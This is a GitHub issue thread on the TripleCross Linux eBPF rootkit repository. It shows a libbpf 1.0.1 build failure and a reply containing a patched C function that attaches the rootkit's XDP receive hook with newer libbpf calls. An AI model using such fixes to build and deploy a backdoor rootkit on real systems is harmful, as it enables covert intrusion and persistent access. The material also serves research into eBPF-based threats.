h3xduck / TripleCross

A Linux eBPF rootkit with a backdoor, C2, library injection, execution hijacking, persistence and stealth capabilities.
GNU General Public License v3.0
1.75k stars 217 forks source link

make with libbpf 1.0.1: undefined reference to `bpf_get_link_xdp_id' #48

Open tstromberg opened 1 year ago

tstromberg commented 1 year ago

TripleCross does not compile out of the box with ArchLinux today, due to it's inclusion of libbpf 1.0.1:

% make all                                                                                                                                                                                                                    
  MKDIR    .output
  MKDIR    .output/libbpf
  LIB      libbpf.a
  MKDIR    /home/t/src/TripleCross/src/.output//libbpf/staticobjs
  CC       /home/t/src/TripleCross/src/.output//libbpf/staticobjs/bpf.o
  CC       /home/t/src/TripleCross/src/.output//libbpf/staticobjs/btf.o
  CC       /home/t/src/TripleCross/src/.output//libbpf/staticobjs/libbpf.o
  CC       /home/t/src/TripleCross/src/.output//libbpf/staticobjs/libbpf_errno.o
  CC       /home/t/src/TripleCross/src/.output//libbpf/staticobjs/netlink.o
  CC       /home/t/src/TripleCross/src/.output//libbpf/staticobjs/nlattr.o
  CC       /home/t/src/TripleCross/src/.output//libbpf/staticobjs/str_error.o
  CC       /home/t/src/TripleCross/src/.output//libbpf/staticobjs/libbpf_probes.o
  CC       /home/t/src/TripleCross/src/.output//libbpf/staticobjs/bpf_prog_linfo.o
  CC       /home/t/src/TripleCross/src/.output//libbpf/staticobjs/xsk.o
  CC       /home/t/src/TripleCross/src/.output//libbpf/staticobjs/btf_dump.o
  CC       /home/t/src/TripleCross/src/.output//libbpf/staticobjs/hashmap.o
  CC       /home/t/src/TripleCross/src/.output//libbpf/staticobjs/ringbuf.o
  CC       /home/t/src/TripleCross/src/.output//libbpf/staticobjs/strset.o
  CC       /home/t/src/TripleCross/src/.output//libbpf/staticobjs/linker.o
  CC       /home/t/src/TripleCross/src/.output//libbpf/staticobjs/gen_loader.o
  CC       /home/t/src/TripleCross/src/.output//libbpf/staticobjs/relo_core.o
  AR       /home/t/src/TripleCross/src/.output//libbpf/libbpf.a
  INSTALL  bpf.h libbpf.h btf.h libbpf_common.h libbpf_legacy.h xsk.h bpf_helpers.h bpf_helper_defs.h bpf_tracing.h bpf_endian.h bpf_core_read.h skel_internal.h libbpf_version.h
  INSTALL  /home/t/src/TripleCross/src/.output//libbpf/libbpf.pc
  INSTALL  /home/t/src/TripleCross/src/.output//libbpf/libbpf.a 
  BPF      .output/kit.bpf.o
  GEN-SKEL .output/kit.skel.h
libbpf: elf: skipping unrecognized data section(28) .rodata.str1.1
  CC       .output/kit.o
  CC       /home/t/src/TripleCross/src/user/include/modules/module_manager.o
  BINARY   kit
/sbin/ld: /home/t/src/TripleCross/src/user/include/modules/module_manager.o: in function `attach_xdp_receive':
/home/t/src/TripleCross/src/user/include/modules/xdp.h:37: undefined reference to `bpf_get_link_xdp_id'
collect2: error: ld returned 1 exit status
make: *** [Makefile:102: kit] Error 1
rm .output/kit.bpf.o

I did a little bit of digging around and found it changed here:

https://github.com/libbpf/libbpf/commit/8fbe7eec3aacca51d81785f95da295d40e1cb965#diff-5fcfe04c9d2ca76e41ade16dc6283ffc7723ed4da4e209153a776bee4a86abadL359

arschlochnop commented 1 year ago

libbpf v0.8.0 deprecates the bpf_get_link_xdp_id and bpf_set_link_xdp_fd functions. Use meson to detect if libbpf >= v0.7.0 is linked and if so, use the recommended replacement functions bpf_xdp_query_id, bpf_xdp_attach and bpf_xdp_detach which are available to use since libbpf v0.7.0.

modify TripleCross/src/user/include/modules/xdp.h

int attach_xdp_receive(struct kit_bpf *skel, __u32 ifindex, __u32 flags){
    //Attach BPF program to network interface
    //New way of doing it: it allows for future addition of multiple 
    //XDP programs attached to same interface if needed
    //Also done this way to modularize attaching the different tracepoints
    //of the rootkit
    /** @ref Test suite by readhat ebpf devs on XDP
     *  https://git.zx2c4.com/linux/plain/tools/testing/selftests/bpf/prog_tests/xdp_link.c 
     */
    struct bpf_prog_info prog_info;
    __u32 bpf_prog_info_size = sizeof(prog_info);
    __u32 xdp_prog_fd = bpf_program__fd(skel->progs.xdp_receive);
    __u32 xdp_prog_id_old = 0;
    __u32 xdp_prog_id_new;
    __u32 err;
    DECLARE_LIBBPF_OPTS(bpf_xdp_set_link_opts, opts, .old_fd = -1);

    memset(&prog_info, 0, bpf_prog_info_size);
    err = bpf_obj_get_info_by_fd(xdp_prog_fd, &prog_info, &bpf_prog_info_size);
    if(err<0){
        fprintf(stderr, "Failed to setup xdp link\n");
        return -1;
    }
    xdp_prog_id_new = prog_info.id;

    //Check whether there exists previously loaded XDP program
    err = bpf_xdp_query_id(ifindex, &xdp_prog_id_old, 0);

    if(err<0 || (xdp_prog_id_old!=0 && xdp_prog_id_old!=xdp_prog_id_new)){
        fprintf(stderr, "Xdp program found id--> old:%u != new:%u\n", xdp_prog_id_old, xdp_prog_id_new);
        fprintf(stderr,"This should not happen, since our xdp program is removed automatically between calls\nRun `ip link set dev lo xdpgeneric off` to detach whichever program is running");
        //TODO automatically force the reattach
        return -1;
    }

    // Attach loaded xdp program
    skel->links.xdp_receive = bpf_program__attach_xdp(skel->progs.xdp_receive, ifindex);

    err = libbpf_get_error(skel->links.xdp_receive);
    if (err<0) {
        fprintf(stderr, "Failed to attach XDP program\n");
        return -1;
    }

    return 0;
}